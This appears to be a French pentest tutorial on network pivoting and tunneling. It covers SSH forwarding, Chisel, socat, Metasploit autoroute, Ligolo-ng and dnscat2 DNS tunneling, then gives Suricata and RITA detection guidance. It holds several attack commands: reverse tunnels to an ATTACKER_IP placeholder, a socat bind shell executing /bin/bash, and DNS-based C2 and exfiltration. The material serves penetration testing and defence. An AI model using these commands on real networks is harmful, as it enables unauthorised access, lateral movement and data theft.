🕳️
Pentest
Tunneling et pivoting réseau
📅 2025-05-25 ⏱ 10 min de lecture 🏷 Avancé

// SOMMAIRE

Tunneling et pivoting réseau : se déplacer dans un réseau compromis

Le pivoting est la technique par laquelle un attaquant utilise une machine compromise comme tremplin pour atteindre des segments réseau inaccessibles directement. C'est aussi une compétence essentielle pour les pentesters afin de simuler des APT réalistes.

Concepts fondamentaux

Situation typique :

Internet ──→ [DMZ] ──→ [Réseau interne]

Pas d'accès direct depuis Internet

Uniquement accessible via la DMZ

Après compromission d'un serveur DMZ :

Attaquant → [Serveur DMZ compromis] → [Réseau interne]

Machine pivot

SSH Tunneling

Port Forwarding Local

# Accéder à un service interne via la machine pivot

Scénario : BDD MySQL sur 192.168.1.50:3306 (inaccessible directement)

ssh -L 3307:192.168.1.50:3306 user@pivot.exemple.com

-L [port_local]:[cible]:[port_cible]

Maintenant accessible localement :

mysql -h 127.0.0.1 -P 3307 -u root -p

La connexion est tunnelée via SSH vers le MySQL interne

Port Forwarding Distant

# Exposer un service local vers une machine distante

Scénario : exposer votre listener Metasploit depuis derrière un NAT

ssh -R 4444:127.0.0.1:4444 user@serveur-public.com

-R [port_distant]:[host_local]:[port_local]

Sur le serveur public, le port 4444 est maintenant connecté à votre machine locale

Dynamic Port Forwarding (SOCKS Proxy)

# Créer un proxy SOCKS5 qui route tout via la machine pivot

ssh -D 1080 user@pivot.exemple.com

-D [port_socks_local]

Configurer proxychains pour utiliser le tunnel

/etc/proxychains4.conf

[ProxyList]

socks5 127.0.0.1 1080

Utiliser n'importe quel outil via le tunnel

proxychains nmap -sT -Pn 192.168.1.0/24

proxychains firefox # Naviguer sur le réseau interne

proxychains curl http://intranet.interne/

Chisel — Tunneling via HTTP/S

# Chisel : tunnel TCP/UDP dans HTTP — passe les firewalls !

https://github.com/jpillora/chisel

Sur l'attaquant (serveur)

./chisel server --port 8080 --reverse

Sur la machine pivot (client)

./chisel client ATTACKER_IP:8080 R:socks

Crée un tunnel SOCKS5 inversé

Tunneling d'un port spécifique

./chisel client ATTACKER_IP:8080 R:3306:192.168.1.50:3306

Le port 3306 de l'attaquant est maintenant connecté à la BDD interne

Socat — Swiss Army Knife du réseau

# Relay TCP simple (pivoting basique)

socat TCP-LISTEN:8080,fork TCP:192.168.1.50:80

Tout ce qui arrive sur 8080 est redirigé vers 192.168.1.50:80

Relay avec chiffrement SSL

socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork TCP:192.168.1.50:80

Créer un reverse shell persistant

socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash

Metasploit - Pivoting avancé

# Dans Metasploit - après avoir un shell sur la machine pivot

msf6 > use post/multi/manage/autoroute

msf6 post(autoroute) > set SESSION 1

msf6 post(autoroute) > set SUBNET 192.168.1.0

msf6 post(autoroute) > run

Metasploit route maintenant vers 192.168.1.0/24 via la session 1

Scan du réseau interne via le pivot

msf6 > use auxiliary/scanner/portscan/tcp

msf6 auxiliary(tcp) > set RHOSTS 192.168.1.0/24

msf6 auxiliary(tcp) > set PORTS 22,80,443,3306,3389

msf6 auxiliary(tcp) > run

SOCKS proxy via Metasploit

msf6 > use auxiliary/server/socks_proxy

msf6 auxiliary(socks_proxy) > set SRVPORT 1080

msf6 auxiliary(socks_proxy) > set VERSION 5

msf6 auxiliary(socks_proxy) > run

Ligolo-ng — Le pivot moderne

# Ligolo-ng : tunneling TUN/TAP - le plus transparent

https://github.com/nicocha30/ligolo-ng

Sur l'attaquant (proxy)

sudo ip tuntap add user kali mode tun ligolo

sudo ip link set ligolo up

./proxy -selfcert

Sur la machine pivot (agent)

./agent -connect ATTACKER_IP:11601 -ignore-cert

Dans l'interface ligolo

ligolo-ng » session

ligolo-ng » start --tun ligolo

Ajouter une route vers le réseau interne

sudo ip route add 192.168.1.0/24 dev ligolo

Maintenant accessible directement !

nmap -sV 192.168.1.50

curl http://192.168.1.50/

ssh user@192.168.1.50

DNS Tunneling — Exfiltration furtive

# Le DNS tunneling encapsule des données dans des requêtes DNS

Passe presque tous les firewalls car le DNS est toujours autorisé

Dnscat2 - Tunnel C2 via DNS

Côté serveur (contrôlé par l'attaquant)

ruby dnscat2.rb --dns domain=tunnel.exemple.com --no-cache

Côté client (machine compromise)

./dnscat --dns server=8.8.8.8,port=53,domain=tunnel.exemple.com

Les communications sont encodées dans des requêtes DNS :

Requête : a1b2c3d4.tunnel.exemple.com (données encodées dans le sous-domaine)

Réponse : TXT record avec données de réponse

Détection du DNS tunneling

→ Requêtes DNS avec sous-domaines anormalement longs

→ Volume élevé de requêtes vers un seul domaine

→ Entropie élevée dans les noms de sous-domaines

Détection des tunnels

# Détecter le SSH tunneling avec Suricata

alert tcp any any -> any 22 (msg:"SSH Tunnel Suspected";

flow:to_server,established;

content:"|00 00 00|";

threshold:type both, track by_src, count 100, seconds 60;

sid:1000001;)

Détecter le DNS tunneling avec RITA

Analyse le traffic Zeek et détecte les beacons et DNS tunnels

rita analyze --input zeek_logs/ --output rita-analysis/

rita show-exploded-dns -H --limit 100 rita-analysis

Seuils suspects :

DNS queries/minute > 100 vers même domaine

Longueur moyenne sous-domaine > 30 caractères

Entropie de Shannon > 3.5 bits/caractère

Conclusion

Le pivoting est une compétence avancée qui démontre la vraie profondeur d'une compromission. En défense, la segmentation réseau stricte (micro-segmentation) limite considérablement les possibilités de pivoting. En attaque/test, maîtriser SSH tunneling, Chisel et Ligolo-ng permet de simuler fidèlement le comportement des APT réels.

💬 Voir l'article avec commentaires →
← Sécurité cloud : AWS, Azure et GCP SIEM et détection d'intrusion : voir tout ce qui se passe →